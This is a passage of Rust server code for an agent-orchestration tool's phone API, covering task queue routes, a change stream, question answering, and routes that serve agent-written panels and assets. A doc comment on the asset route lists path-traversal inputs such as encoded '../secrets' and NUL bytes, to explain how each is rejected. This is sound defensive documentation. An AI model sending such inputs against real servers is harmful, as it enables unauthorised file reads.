6208        t.succeed();
6209        // Same as the loop's own settle path: closing a task by hand is just
6210        // as much "this task's story is over" as a daemon-driven `Merged`/
6211        // `Ready` is, so any earlier `Blocked`/`Stalled` attempt it leaves
6212        // behind must stop looking like it still needs a human. `ui.home`,
6213        // not the process-global `run::home()`: they agree in a real
6214        // process, but only `ui.home` also agrees with a test fixture's own
6215        // directory.
6216        crate::daemon::supersede_prior_runs(t, &home);
6217        Ok(())
6218    })
6219    .await
6220}
6221
6222/// `DELETE /api/queue/{id}`.
6223///
6224/// Remove a task from the backlog. Refused only while a live daemon's heartbeat
6225/// names this task: a `running` status or an orphaned `.lock` left behind by a
6226/// killed daemon is a leftover, and treating either as authority made the
6227/// task undeletable from the phone for good. The associated runs, if any, are
6228/// kept: a run is self-contained history and not an appendage of the task.
6229async fn queue_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
6230    blocking(move || {
6231        let id = resolve_task(&ui.queue, &id)?;
6232        let in_flight = crate::daemon::is_working_on_task(&ui.home, &id, jiff::Timestamp::now());
6233        ui.queue
6234            .remove(&id, in_flight, &ui.questions)
6235            .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
6236        Ok(StatusCode::NO_CONTENT)
6237    })
6238    .await
6239}
6240
6241/// Read a task, change it, write it back, under the queue's own lock.
6242///
6243/// Taking the same claim a daemon takes is what makes hold, release,
6244/// priority, edit, and done safe to press while magi is running: without it
6245/// the daemon's next save would land on top of the operator's change and
6246/// undo it. `change` can refuse - [`Task::set_priority`] and [`Task::edit`]
6247/// both do, for a running task - and that refusal becomes the 4xx the card
6248/// shows, same as any other domain rule.
6249async fn mutate(
6250    ui: Arc<Ui>,
6251    id: String,
6252    change: impl FnOnce(&mut Task) -> Result<()> + Send + 'static,
6253) -> ApiResult<Json<TaskView>> {
6254    blocking(move || {
6255        let id = resolve_task(&ui.queue, &id)?;
6256        // `claim` fails when the lock file already exists, which is the
6257        // conflict the UI must report: the daemon owns that task's file for
6258        // as long as it is running it, and our write would be lost under its
6259        // next save. The message names the lock either way.
6260        let _claim = ui.queue.claim(&id).map_err(|e| {
6261            ApiError::conflict(format!(
6262                "{e:#} - a daemon is running this task, so it cannot be \
6263                 changed from here yet; wait until it is released, then retry"
6264            ))
6265        })?;
6266        let mut task = ui.queue.get(&id)?;
6267        change(&mut task).map_err(|e| match e.downcast::<crate::dupes::Duplicate>() {
6268            Ok(dup) => ApiError::conflict(dup.render(
6269                "Nothing was saved. If it is not a duplicate, repeat the request with \
6270                 \"force\": true.",
6271            )),
6272            Err(e) => ApiError::bad_request_from(e),
6273        })?;
6274        ui.queue.put(&mut task)?;
6275        Ok(Json(TaskView::from(task)))
6276    })
6277    .await
6278}
6279
6280/// The change stream: one revision number per store, on connect and whenever
6281/// any of them moves.
6282///
6283/// The poll runs in one spawned task per client, which is affordable because
6284/// the work is a directory scan and a `stat` per file. It stops as soon as the
6285/// receiver is gone, so a phone that walks out of range costs nothing after
6286/// its next tick - there is no session and no cleanup to forget.
6287async fn events(State(ui): State<Arc<Ui>>) -> impl IntoResponse {
6288    let (tx, rx) = tokio::sync::mpsc::channel::<Event>(4);
6289    tokio::spawn(async move {
6290        let mut ticker = tokio::time::interval(POLL);
6291        let mut last: Option<(u64, u64, u64, u64, u64, u64)> = None;
6292        let mut stamps: Option<[Stamps; 3]> = None;
6293        loop {
6294            // The first tick completes immediately, which is what makes the
6295            // stream announce the current revisions on connect.
6296            ticker.tick().await;
6297            let state = Arc::clone(&ui);
6298            let revisions = tokio::task::spawn_blocking(move || {
6299                let stamps = [
6300                    store_stamps(state.queue.root(), false),
6301                    store_stamps(&state.runs, true),
6302                    store_stamps(state.talks.root(), false),
6303                ];
6304                let revisions = (
6305                    stamps_revision(&stamps[0]),
6306                    stamps_revision(&stamps[1]),
6307                    state.questions.revision(),
6308                    stamps_revision(&stamps[2]),
6309                    state.notices.revision(),
6310                    // The loop's counter is in-process state rather than a
6311                    // file, so nothing the three stats above look at would
6312                    // tell this phone that another one started the loop.
6313                    state.lock_loop().rev,
6314                );
6315                (revisions, stamps)
6316            })
6317            .await;
6318            let Ok((revisions, next_stamps)) = revisions else {
6319                break;
6320            };
6321            if last == Some(revisions) {
6322                continue;
6323            }
6324            let mut payload = serde_json::json!({
6325                "queue_rev": revisions.0,
6326                "runs_rev": revisions.1,
6327                "questions_rev": revisions.2,
6328                "talks_rev": revisions.3,
6329                "notifications_rev": revisions.4,
6330                "loop_rev": revisions.5,
6331            });
6332            if let (Some(base), Some(previous)) = (last, stamps.as_ref()) {
6333                for (index, (key, rev)) in [
6334                    ("queue_delta", base.0),
6335                    ("runs_delta", base.1),
6336                    ("talks_delta", base.3),
6337                ]
6338                .into_iter()
6339                .enumerate()
6340                {
6341                    let delta = diff_stamps(&previous[index], &next_stamps[index], rev);
6342                    // Empty diffs may mean a non-file dependency moved. Read whole.
6343                    if delta.changed.len() + delta.removed.len() > 0 && delta.changed.len() <= 50 {
6344                        payload[key] = serde_json::to_value(delta).expect("serializable delta");
6345                    }
6346                }
6347            }
6348            last = Some(revisions);
6349            stamps = Some(next_stamps);
6350            // Giving up beats looping if the receiver is gone.
6351            let Ok(event) = Event::default().event("change").json_data(payload) else {
6352                break;
6353            };
6354            if tx.send(event).await.is_err() {
6355                break;
6356            }
6357        }
6358    });
6359    Sse::new(ReceiverStream::new(rx).map(Ok::<Event, Infallible>))
6360        .keep_alive(KeepAlive::new().interval(KEEPALIVE))
6361}
6362
6363type Stamps = HashMap<String, (u128, u64)>;
6364
6365/// Metadata only: no task instructions or conversation bodies are read here.
6366fn store_stamps(root: &FsPath, runs: bool) -> Stamps {
6367    std::fs::read_dir(root)
6368        .into_iter()
6369        .flatten()
6370        .flatten()
6371        .filter_map(|entry| {
6372            let path = if runs {
6373                entry.path().join("run.json")
6374            } else {
6375                entry.path()
6376            };
6377            if !runs && path.extension().is_none_or(|ext| ext != "json") {
6378                return None;
6379            }
6380            let metadata = path.metadata().ok()?;
6381            let modified = metadata
6382                .modified()
6383                .ok()?
6384                .duration_since(std::time::UNIX_EPOCH)
6385                .ok()?;
6386            let id = if runs {
6387                entry.file_name().to_string_lossy().into_owned()
6388            } else {
6389                path.file_stem()?.to_string_lossy().into_owned()
6390            };
6391            Some((id, (modified.as_nanos(), metadata.len())))
6392        })
6393        .collect()
6394}
6395
6396#[derive(Debug, Serialize)]
6397struct Delta {
6398    base: u64,
6399    changed: Vec<String>,
6400    removed: Vec<String>,
6401}
6402
6403fn diff_stamps(previous: &Stamps, next: &Stamps, base: u64) -> Delta {
6404    let mut changed: Vec<_> = next
6405        .iter()
6406        .filter(|(id, stamp)| previous.get(*id) != Some(*stamp))
6407        .map(|(id, _)| id.clone())
6408        .collect();
6409    let mut removed: Vec<_> = previous
6410        .keys()
6411        .filter(|id| !next.contains_key(*id))
6412        .cloned()
6413        .collect();
6414    changed.sort_unstable();
6415    removed.sort_unstable();
6416    Delta {
6417        base,
6418        changed,
6419        removed,
6420    }
6421}
6422
6423/// Change detection token for recorded runs under `runs`.
6424///
6425/// Combines the id and `run.json` modification time of each run, so adding,
6426/// updating, or deleting any run — even an older one — moves the revision and
6427/// notifies connected clients via the change stream. Returns 0 when no runs
6428/// exist.
6429fn runs_revision(runs: &FsPath) -> u64 {
6430    stamps_revision(&store_stamps(runs, true))
6431}
6432
6433/// Opaque tokens use the exact metadata snapshot behind the delta, in both
6434/// health and SSE. Nanoseconds and length also detect same-millisecond writes
6435/// and deleting an older conversation (a newest-mtime token cannot do that).
6436fn stamps_revision(stamps: &Stamps) -> u64 {
6437    use std::hash::{Hash as _, Hasher as _};
6438    if stamps.is_empty() {
6439        return 0;
6440    }
6441    let mut entries: Vec<_> = stamps.iter().collect();
6442    entries.sort_unstable();
6443    let mut hasher = std::hash::DefaultHasher::new();
6444    entries.hash(&mut hasher);
6445    hasher.finish().max(1)
6446}
6447
6448/// Run ids under `runs`, newest first.
6449///
6450/// Rooted at an explicit directory rather than calling [`run::list_ids`],
6451/// which reads the process-global home: the server has to be drivable against
6452/// a temp directory for any of this to be testable.
6453fn run_ids(runs: &FsPath) -> Vec<String> {
6454    let mut ids: Vec<String> = std::fs::read_dir(runs)
6455        .into_iter()
6456        .flatten()
6457        .flatten()
6458        .filter(|e| e.path().join("run.json").is_file())
6459        .map(|e| e.file_name().to_string_lossy().into_owned())
6460        .collect();
6461    // Ids start with a sortable timestamp.
6462    ids.sort_unstable_by(|a, b| b.cmp(a));
6463    ids
6464}
6465
6466/// Read one run's state from an explicit runs root.
6467fn read_run(runs: &FsPath, id: &str) -> Result<RunState> {
6468    let path = runs.join(id).join("run.json");
6469    let body =
6470        std::fs::read_to_string(&path).with_context(|| format!("read {}", path.display()))?;
6471    let state: RunState =
6472        serde_json::from_str(&body).with_context(|| format!("parse {}", path.display()))?;
6473    // The same migration `RunState::load` applies, so a record from the
6474    // previous schema reads here as it does everywhere else (an origin-less
6475    // run shows as "origin unknown") instead of vanishing from the phone the
6476    // moment the schema is bumped.
6477    run::migrate_schema(state)
6478}
6479
6480/// Runs on disk under `runs` whose state this build cannot parse - almost
6481/// always a schema bump, occasionally a run killed mid-write.
6482///
6483/// Exposed so every surface that reports on runs shares one count instead of
6484/// each re-deriving it: `/api/health` reports it as `runs_unreadable`, and
6485/// `magi doctor` calls this directly rather than guessing at the same number
6486/// a second way.
6487#[must_use]
6488pub fn runs_unreadable(runs: &FsPath) -> usize {
6489    run_ids(runs)
6490        .into_iter()
6491        .filter(|id| read_run(runs, id).is_err())
6492        .count()
6493}
6494
6495/// Expand an id or short id to exactly one run id.
6496fn resolve_run(runs: &FsPath, id: &str) -> ApiResult<String> {
6497    if runs.join(id).join("run.json").is_file() {
6498        return Ok(id.to_owned());
6499    }
6500    pick(run_ids(runs), id, "run")
6501}
6502
6503/// Expand an id or short id to exactly one task id.
6504fn resolve_task(queue: &Queue, id: &str) -> ApiResult<String> {
6505    if queue.path_of(id).is_file() {
6506        return Ok(id.to_owned());
6507    }
6508    pick(queue.list().into_iter().map(|t| t.id).collect(), id, "task")
6509}
6510
6511/// A question as the phone reads it.
6512///
6513/// `detail`, the reasoning an agent wrote, is markdown; `detail_md` is that
6514/// text already parsed into a node tree so the client never runs its own
6515/// markdown reader over agent-authored prose. A relative image path in it
6516/// resolves against this question's own panel asset route, which is the one
6517/// place [`md::ImageBase::QuestionPanel`] is used - the panel iframe is a
6518/// separate, sandboxed document, but `detail` is rendered inline in the
6519/// operator's own page, so an image reference in it may only ever point at
6520/// files magi itself already serves for this question.
6521#[derive(Debug, Serialize)]
6522struct QuestionView {
6523    #[serde(flatten)]
6524    question: Question,
6525    detail_md: Vec<md::Node>,
6526    posting_view: Option<PostingView>,
6527    /// Each thread turn's body, parsed; same order as `question.thread`.
6528    thread_bodies_md: Vec<Vec<md::Node>>,
6529    /// Each thread turn's deputy note, parsed (`None` for a turn without
6530    /// one); same order as `question.thread`.
6531    thread_notes_md: Vec<Option<Vec<md::Node>>>,
6532    /// Is the ball in the agent's court right now?
6533    ///
6534    /// [`QuestionStatus`] stays `Open` for the whole of a round trip - see
6535    /// [`Question::say`] - so this is the one field that tells the phone to
6536    /// disable the answer controls and show "waiting for the agent" instead of
6537    /// a card the owner can act on. Computed rather than stored on
6538    /// [`Question`] itself, on the same reasoning as `waiting` on
6539    /// [`RunSummary`]: it is a read of `thread`'s own last entry, and keeping
6540    /// it here means the client never has to re-derive that rule.
6541    waiting_on_agent: bool,
6542    /// Who is waiting on this open question - see [`holder_of`]. Separate
6543    /// from `waiting_on_agent`, which is whose *turn* it is, not whether
6544    /// anyone is there to take it.
6545    holder: Option<&'static str>,
6546    /// Whether `magi serve` can start a follow-up agent for a conductor
6547    /// question at all: false when `daemon.max_deputies = 0` or the config is
6548    /// unreadable. Separate from `holder`, which says who is listening now.
6549    deputies_enabled: bool,
6550    /// All starts were spent and no live holder remains. Display-only: the
6551    /// final attempt increments `starts` before running under its lease.
6552    deputy_exhausted: bool,
6553    text_delivery: crate::question_delivery::Availability,
6554    /// `question.run` is a task id (conductor / triage questions), not a run
6555    /// id, so the UI links it to the task page.
6556    run_is_task: bool,
6557    /// The existing chat this question's task came from, including settled
6558    /// questions - see [`crate::consult::associated_talk`].
6559    origin_chat: Option<String>,
6560    /// `origin_chat` is closed; consulting reopens it first.
6561    origin_chat_closed: bool,
6562    /// Consultation eligibility is separate from navigation to the chat.
6563    can_consult_chat: bool,
6564}
6565
6566#[derive(Debug, Serialize)]
6567struct PostingView {
6568    before_md: Vec<md::Node>,
6569    after_md: Vec<md::Node>,
6570    fields: Vec<crate::github_text::ComparisonView>,
6571}
6572
6573fn posting_view(question: &Question, base: &md::ImageBase) -> Option<PostingView> {
6574    let comparison = question.posting_comparison.as_ref()?;
6575    if !comparison.matches_detail(&question.detail) {
6576        return None;
6577    }
6578    let mut ids = std::collections::BTreeSet::new();
6579    if comparison.fields.is_empty()
6580        || comparison
6581            .fields
6582            .iter()
6583            .flat_map(|f| &f.pairs)
6584            .any(|p| !ids.insert(p.id))
6585        || comparison
6586            .fields
6587            .iter()
6588            .flat_map(|f| &f.original_triggers)
6589            .any(|t| !ids.insert(t.id))
6590    {
6591        return None;
6592    }
6593    let fields = comparison
6594        .fields
6595        .iter()
6596        .map(|f| f.view(comparison.excerpt))
6597        .collect::<Option<Vec<_>>>()?;
6598    Some(PostingView {
6599        before_md: md::to_nodes(question.detail.get(..comparison.start)?, base),
6600        after_md: md::to_nodes(question.detail.get(comparison.end..)?, base),
6601        fields,
6602    })
6603}
6604
6605impl QuestionView {
6606    /// The view of `question`, reading who is waiting on it from `store`.
6607    ///
6608    /// `holder` needs the lease sidecar, which is why this is not a `From`.
6609    fn of(question: Question, store: &ask::Questions, cfg: Option<&Config>) -> Self {
6610        let base = md::ImageBase::QuestionPanel {
6611            id: question.id.clone(),
6612        };
6613        let holder = holder_of(&question, store.read_lease(&question.id).as_ref());
6614        Self {
6615            detail_md: md::to_nodes(&question.detail, &base),
6616            posting_view: posting_view(&question, &base),
6617            thread_bodies_md: question
6618                .thread
6619                .iter()
6620                .map(|t| md::to_nodes(&t.body, &base))
6621                .collect(),
6622            thread_notes_md: question
6623                .thread
6624                .iter()
6625                .map(|t| t.note.as_deref().map(|n| md::to_nodes(n, &base)))
6626                .collect(),
6627            deputy_exhausted: store.deputy_exhausted(&question),
6628            waiting_on_agent: question.waiting_on_agent(),
6629            holder,
6630            deputies_enabled: deputies_enabled(cfg, &question),
6631            text_delivery: crate::question_delivery::availability(store, &question, cfg),
6632            run_is_task: question.run_names_task(),
6633            origin_chat: None,
6634            origin_chat_closed: false,
6635            can_consult_chat: false,
6636            question,
6637        }
6638    }
6639
6640    /// Fill `origin_chat` from the queue and the talks.
6641    fn with_origin(mut self, tasks: &[crate::queue::Task], talks: &[Talk]) -> Self {
6642        let consult = crate::consult::origin_talk(tasks, talks, &self.question);
6643        self.can_consult_chat = consult.is_some();
6644        let talk =
6645            consult.or_else(|| crate::consult::associated_talk(tasks, talks, &self.question));
6646        self.origin_chat_closed = talk.as_ref().is_some_and(|t| !t.status.open());
6647        self.origin_chat = talk.map(|t| t.id);
6648        self
6649    }
6650}
6651
6652/// The config this repository resolves, or `None` when it cannot be read.
6653/// Discovering is git processes plus a config render, so a request that needs
6654/// it for many items takes it once and passes it down.
6655fn deputy_config(repo: &std::path::Path) -> Option<Config> {
6656    Config::discover(repo, None).ok().map(|(c, _)| c)
6657}
6658
6659/// Can `magi serve` start a deputy for this question under `cfg`?
6660fn deputies_enabled(cfg: Option<&Config>, q: &Question) -> bool {
6661    crate::deputy::can_start(cfg, crate::deputy::agent_of(q))
6662}
6663
6664/// The views `GET /api/questions` answers. `load` runs at most once, however
6665/// many questions there are, and not at all when there are none.
6666fn question_views(
6667    qs: Vec<Question>,
6668    store: &ask::Questions,
6669    load: impl FnOnce() -> Option<Config>,
6670) -> Vec<QuestionView> {
6671    if qs.is_empty() {
6672        return Vec::new();
6673    }
6674    let cfg = load();
6675    qs.into_iter()
6676        .map(|q| QuestionView::of(q, store, cfg.as_ref()))
6677        .collect()
6678}
6679
6680/// Who is honestly waiting on an open question right now: `"asker"` (the
6681/// agent's own `magi ask`), `"deputy"` (the follow-up seat `magi serve` runs
6682/// for a conductor question), `"daemon"` (`magi serve` resuming the asking
6683/// seat's session), or `"nobody"` - the asker is gone and nothing has picked it
6684/// up, or the question never had anyone listening (a conductor question or a
6685/// merge approval from before deputies, or not yet given one).
6686///
6687/// `None` for a question that is settled, and for one that is not an agent's
6688/// to wait on at all (a release notice).
6689fn holder_of(q: &Question, lease: Option<&ask::Lease>) -> Option<&'static str> {
6690    if !q.status.open() {
6691        return None;
6692    }
6693    if q.cwd.is_none()
6694        && q.deputy.is_none()
6695        && lease.is_none_or(|l| !l.fresh(jiff::Timestamp::now()))
6696    {
6697        return crate::deputy::kind_of(q).map(|_| "nobody");
6698    }
6699    Some(match lease.filter(|l| l.fresh(jiff::Timestamp::now())) {
6700        Some(_) if q.deputy.is_some() => "deputy",
6701        Some(l) if l.kind == ask::WaiterKind::Daemon => "daemon",
6702        Some(_) => "asker",
6703        None => "nobody",
6704    })
6705}
6706
6707/// `GET /api/questions`.
6708///
6709/// Everything, not just the open ones: an answered question is the record of a
6710/// decision, and the phone is where the operator goes back to check what they
6711/// told an agent at 3am. `ask::Questions::list` already ranks open first.
6712async fn questions_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<QuestionView>>> {
6713    blocking(move || {
6714        let (tasks, talks) = (ui.queue.list(), ui.talks.list());
6715        Ok(Json(
6716            question_views(ui.questions.list(), &ui.questions, || {
6717                deputy_config(&ui.repo)
6718            })
6719            .into_iter()
6720            .map(|v| v.with_origin(&tasks, &talks))
6721            .collect(),
6722        ))
6723    })
6724    .await
6725}
6726
6727/// `GET /api/notifications`: not dismissed, newest first, with the unread
6728/// count so the badge and the list cannot disagree.
6729async fn notifications_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
6730    blocking(move || {
6731        let items = ui.notices.list();
6732        let unread = items.iter().filter(|n| n.unread()).count();
6733        let items: Vec<_> = items
6734            .into_iter()
6735            .map(|n| {
6736                let question = crate::notices::answerable_question(&n, &ui.questions);
6737                let mut item = serde_json::to_value(n)?;
6738                item["answerable_question"] = serde_json::json!(question);
6739                Ok(item)
6740            })
6741            .collect::<anyhow::Result<_>>()?;
6742        Ok(Json(
6743            serde_json::json!({ "unread": unread, "items": items }),
6744        ))
6745    })
6746    .await
6747}
6748
6749fn notice_error(e: anyhow::Error) -> ApiError {
6750    // An unknown or malformed id and a vanished file are the same answer to
6751    // the phone: that notification is gone.
6752    ApiError::not_found(format!("{e:#}"))
6753}
6754
6755/// `POST /api/notifications/{id}/read`.
6756async fn notification_read(
6757    State(ui): State<Arc<Ui>>,
6758    Path(id): Path<String>,
6759) -> ApiResult<Json<Notice>> {
6760    blocking(move || ui.notices.mark_read(&id).map(Json).map_err(notice_error)).await
6761}
6762
6763/// `POST /api/notifications/{id}/dismiss`.
6764async fn notification_dismiss(
6765    State(ui): State<Arc<Ui>>,
6766    Path(id): Path<String>,
6767) -> ApiResult<Json<Notice>> {
6768    blocking(move || ui.notices.dismiss(&id).map(Json).map_err(notice_error)).await
6769}
6770
6771/// `POST /api/notifications/read-all`.
6772async fn notifications_read_all(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
6773    blocking(move || {
6774        let changed = ui.notices.mark_all_read()?;
6775        Ok(Json(serde_json::json!({ "marked": changed })))
6776    })
6777    .await
6778}
6779
6780/// The body of `POST /api/questions/{id}/answer`.
6781///
6782/// Exactly one of the two fields, mirroring `ask::Answer`. Both or neither is
6783/// a bad request rather than a guess: an answer magi invented is worse than a
6784/// question left open.
6785#[derive(Debug, Default, Deserialize)]
6786#[serde(default, deny_unknown_fields)]
6787struct NewAnswer {
6788    choice: Option<String>,
6789    text: Option<String>,
6790}
6791
6792async fn question_answer(
6793    State(ui): State<Arc<Ui>>,
6794    Path(id): Path<String>,
6795    body: std::result::Result<Json<NewAnswer>, axum::extract::rejection::JsonRejection>,
6796) -> ApiResult<Json<QuestionView>> {
6797    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6798    let answer = match (body.choice, body.text) {
6799        (Some(c), None) => Answer::Choice(c),
6800        (None, Some(t)) => Answer::Text(t),
6801        (Some(_), Some(_)) => {
6802            return Err(ApiError::bad_request(
6803                "send either `choice` or `text`, not both",
6804            ));
6805        }
6806        (None, None) => {
6807            return Err(ApiError::bad_request("send a `choice` or a `text`"));
6808        }
6809    };
6810
6811    blocking(move || {
6812        let id = resolve_question(&ui.questions, &id)?;
6813        let q = ui
6814            .questions
6815            .get(&id)
6816            .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
6817        if !q.status.open() {
6818            // Answered from the terminal, or by another phone, in between the
6819            // list and the tap. The UI shows the recorded answer rather than an
6820            // error, so it needs the record, not just the status.
6821            return Err(ApiError::conflict(format!(
6822                "question {} is already {}",
6823                q.short(),
6824                q.status.as_str()
6825            )));
6826        }
6827        // `Question::answer` owns the rules - an unoffered choice, free text on
6828        // a multiple-choice question, an empty reply - so the route does not
6829        // restate them and cannot drift from the CLI's behaviour.
6830        let cfg = deputy_config(&ui.repo);
6831        let (q, ()) = ui
6832            .questions
6833            .update(&q.id, |r| r.answer(answer))
6834            .map_err(ApiError::bad_request_from)?;
6835        let (tasks, talks) = (ui.queue.list(), ui.talks.list());
6836        Ok(Json(
6837            QuestionView::of(q, &ui.questions, cfg.as_ref()).with_origin(&tasks, &talks),
6838        ))
6839    })
6840    .await
6841}
6842
6843/// A dedicated status avoids the client's settled-question 409 handling.
6844fn question_text_error(e: anyhow::Error) -> ApiError {
6845    let reason = e
6846        .downcast_ref::<crate::question_delivery::TextUnavailable>()
6847        .map(|e| e.reason);
6848    let error = ApiError::bad_request_from(e);
6849    if let Some(reason) = reason {
6850        ApiError {
6851            text_reason: Some(reason),
6852            ..error.with_status(StatusCode::UNPROCESSABLE_ENTITY)
6853        }
6854    } else {
6855        error
6856    }
6857}
6858
6859/// The body of `POST /api/questions/{id}/say`.
6860#[derive(Debug, Deserialize)]
6861#[serde(deny_unknown_fields)]
6862struct NewSay {
6863    body: String,
6864}
6865
6866/// `POST /api/questions/{id}/say` - the owner talks back without deciding.
6867///
6868/// Synchronous, unlike `POST /api/talks/{id}/say`: that route spawns an agent
6869/// CLI and waits on it, this one only appends a [`ask::Turn`] and writes the
6870/// file, so there is no turn to serialize against and no
6871/// [`Ui::begin_talk_turn`] guard to take. The agent waiting on this question
6872/// is a *different* process - the run parked behind `magi ask` - and picks
6873/// the reply up on its own poll of the very same file, same as an answer
6874/// does.
6875async fn question_say(
6876    State(ui): State<Arc<Ui>>,
6877    Path(id): Path<String>,
6878    body: std::result::Result<Json<NewSay>, JsonRejection>,
6879) -> ApiResult<Json<QuestionView>> {
6880    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6881    blocking(move || {
6882        let id = resolve_question(&ui.questions, &id)?;
6883        let q = ui
6884            .questions
6885            .get(&id)
6886            .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
6887        if !q.status.open() {
6888            // Same granularity as `question_answer`: answered or abandoned in
6889            // between the list and the tap is not this route's error to
6890            // explain any differently.
6891            return Err(ApiError::conflict(format!(
6892                "question {} is already {}",
6893                q.short(),
6894                q.status.as_str()
6895            )));
6896        }
6897        // `Question::say` owns the one rule that matters here - an empty
6898        // message tells the agent nothing - so the route does not restate it.
6899        let cfg = deputy_config(&ui.repo);
6900        let (q, ()) = ui
6901            .questions
6902            .update(&q.id, |r| {
6903                if body.body.trim().is_empty() {
6904                    return r.say(body.body);
6905                }
6906                crate::question_delivery::require(&ui.questions, r, cfg.as_ref())?;
6907                r.say(body.body)
6908            })
6909            .map_err(question_text_error)?;
6910        let (tasks, talks) = (ui.queue.list(), ui.talks.list());
6911        Ok(Json(
6912            QuestionView::of(q, &ui.questions, cfg.as_ref()).with_origin(&tasks, &talks),
6913        ))
6914    })
6915    .await
6916}
6917
6918/// `POST /api/questions/{id}/consult` - hand the question to the chat its task
6919/// came from. The question stays open: the chat agent answers it with `magi
6920/// answer`, or puts the decision to the owner in the conversation.
6921///
6922/// Answers 202 and runs the turn in the background, like every route that
6923/// spends agent calls. The text is queued as a draft of the existing talk, and
6924/// the turn goes through the talk's own gate and session; no seat or waiter is
6925/// started here.
6926async fn question_consult(
6927    State(ui): State<Arc<Ui>>,
6928    Path(id): Path<String>,
6929) -> ApiResult<(StatusCode, Json<QuestionView>)> {
6930    let (view, reclaimed) = blocking({
6931        let ui = Arc::clone(&ui);
6932        move || {
6933            let id = resolve_question(&ui.questions, &id)?;
6934            let q = ui
6935                .questions
6936                .get(&id)
6937                .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
6938            if !q.status.open() {
6939                return Err(ApiError::conflict(format!(
6940                    "question {} is already {}",
6941                    q.short(),
6942                    q.status.as_str()
6943                )));
6944            }
6945            let (tasks, talks) = (ui.queue.list(), ui.talks.list());
6946            let Some(talk) = crate::consult::origin_talk(&tasks, &talks, &q) else {
6947                return Err(ApiError::conflict(format!(
6948                    "question {} has no chat to ask",
6949                    q.short()
6950                )));
6951            };
6952            // Read the config before `begin` saves anything: a failure here
6953            // must leave no consult record or draft behind, or a retry would
6954            // see `fresh == false` and never start the turn.
6955            let cfg = if q.consult.is_none() {
6956                Some(Config::discover(&talk.repo, None)?.0)
6957            } else {
6958                None
6959            };
6960            let fresh = crate::consult::begin(&ui.questions, &ui.talks, &q, &talk)?;
6961            let claim = if fresh {
6962                match ui.begin_queued_talk_turn(&talk.id)? {
6963                    Some(turn_guard) => {
6964                        let talk = ui.talks.get(&talk.id)?;
6965                        let cfg = match cfg {
6966                            Some(cfg) => cfg,
6967                            None => Config::discover(&talk.repo, None)?.0,
6968                        };
6969                        Some((talk, cfg, turn_guard))
6970                    }
6971                    None => None,
6972                }
6973            } else {
6974                None
6975            };
6976            let q = ui.questions.get(&q.id)?;
6977            let cfg = deputy_config(&ui.repo);
6978            let view = QuestionView::of(q, &ui.questions, cfg.as_ref()).with_origin(&tasks, &talks);
6979            Ok((view, claim))
6980        }
6981    })
6982    .await?;
6983    if let Some((talk, cfg, turn_guard)) = reclaimed {
6984        let talks = ui.talks.clone();
6985        let id = talk.id.clone();
6986        tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
6987    }
6988    Ok((StatusCode::ACCEPTED, Json(view)))
6989}
6990
6991/// Expand an id or short id to exactly one question id.
6992fn resolve_question(store: &Questions, id: &str) -> ApiResult<String> {
6993    if store.path_of(id).is_file() {
6994        return Ok(id.to_owned());
6995    }
6996    pick(
6997        store.list().into_iter().map(|q| q.id).collect(),
6998        id,
6999        "question",
7000    )
7001}
7002
7003/// `GET /api/questions/{id}/panel`.
7004///
7005/// The panel an agent wrote for this question, as `text/html` under
7006/// [`PANEL_CSP`], for the front end to mount in a sandboxed iframe.
7007/// A question without one is a 404 rather than an empty page: the client
7008/// preflights this route with `HEAD` and must be able to tell "no panel" from
7009/// "a panel that rendered blank", and a sandboxed frame is opaque to the
7010/// parent document so it cannot tell the difference by looking.
7011///
7012/// The body is whatever the agent wrote, byte for byte. Nothing here rewrites,
7013/// sanitises or minifies it - a sanitiser is a list of things someone thought
7014/// of, and the sandbox plus the CSP is a list of things that are allowed, which
7015/// is the direction that stays safe when an agent writes markup nobody
7016/// predicted.
7017async fn question_panel(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Response> {
7018    blocking(move || {
7019        let id = resolve_question(&ui.questions, &id)?;
7020        let Some(html) = ui.questions.panel_html(&id) else {
7021            return Err(ApiError::not_found(format!("question {id} has no panel")));
7022        };
7023        Ok(panel_response(
7024            "text/html; charset=utf-8",
7025            false,
7026            html.into_bytes(),
7027        ))
7028    })
7029    .await
7030}
7031
7032/// `GET /api/questions/{id}/asset/{name}`.
7033///
7034/// One file from the question's own panel directory, so a panel can show a
7035/// diff as an SVG or a screenshot as a PNG without the CSP's `img-src 'self'`
7036/// having to allow anything off this machine.
7037///
7038/// This is the only route in the server where a client names a file, so it is
7039/// the only one with a traversal surface, and the name is checked by
7040/// [`ask::valid_asset_name`] before a path is built from it. Which layer stops
7041/// what is worth being explicit about, because the answer is not "all of it in
7042/// one place":
7043///
7044/// * `asset/../../secrets` never reaches this handler at all. axum matches on
7045///   the raw request path and `{name}` spans exactly one segment, so a real
7046///   slash makes the request too long for the route and the router answers 404.
7047/// * `asset/%2e%2e%2fsecrets` and `asset/..%5csecrets` do reach it: axum
7048///   percent-decodes path parameters, so `name` arrives as `../secrets` and
7049///   `..\secrets` respectively, which look like plain filenames to the router.
7050///   The validator refuses them here - both for the literal `..` and because
7051///   `/` and `\` are not in the permitted character set - and answers 400.
7052/// * A name carrying a NUL (`%00`) decodes to a string Rust is happy with but
7053///   the platform's path API is not, and it is refused here for the same
7054///   reason: NUL is not a permitted character.
7055/// * [`Questions::panel_asset`] validates again on read, so the check is not
7056///   load-bearing in only one place. This route's own check exists so the
7057///   failure is a 400 that says which name was wrong, rather than a store error
7058///   the operator has to interpret.
7059async fn question_asset(
7060    State(ui): State<Arc<Ui>>,
7061    Path((id, name)): Path<(String, String)>,
7062) -> ApiResult<Response> {
7063    // Before any filesystem work and before any path is built: a name this
7064    // server will not serve should not become a `PathBuf` at all.
7065    if !crate::ask::valid_asset_name(&name) {
7066        return Err(ApiError::bad_request(format!(
7067            "`{name}` is not a usable asset name"
7068        )));
7069    }
7070    blocking(move || {
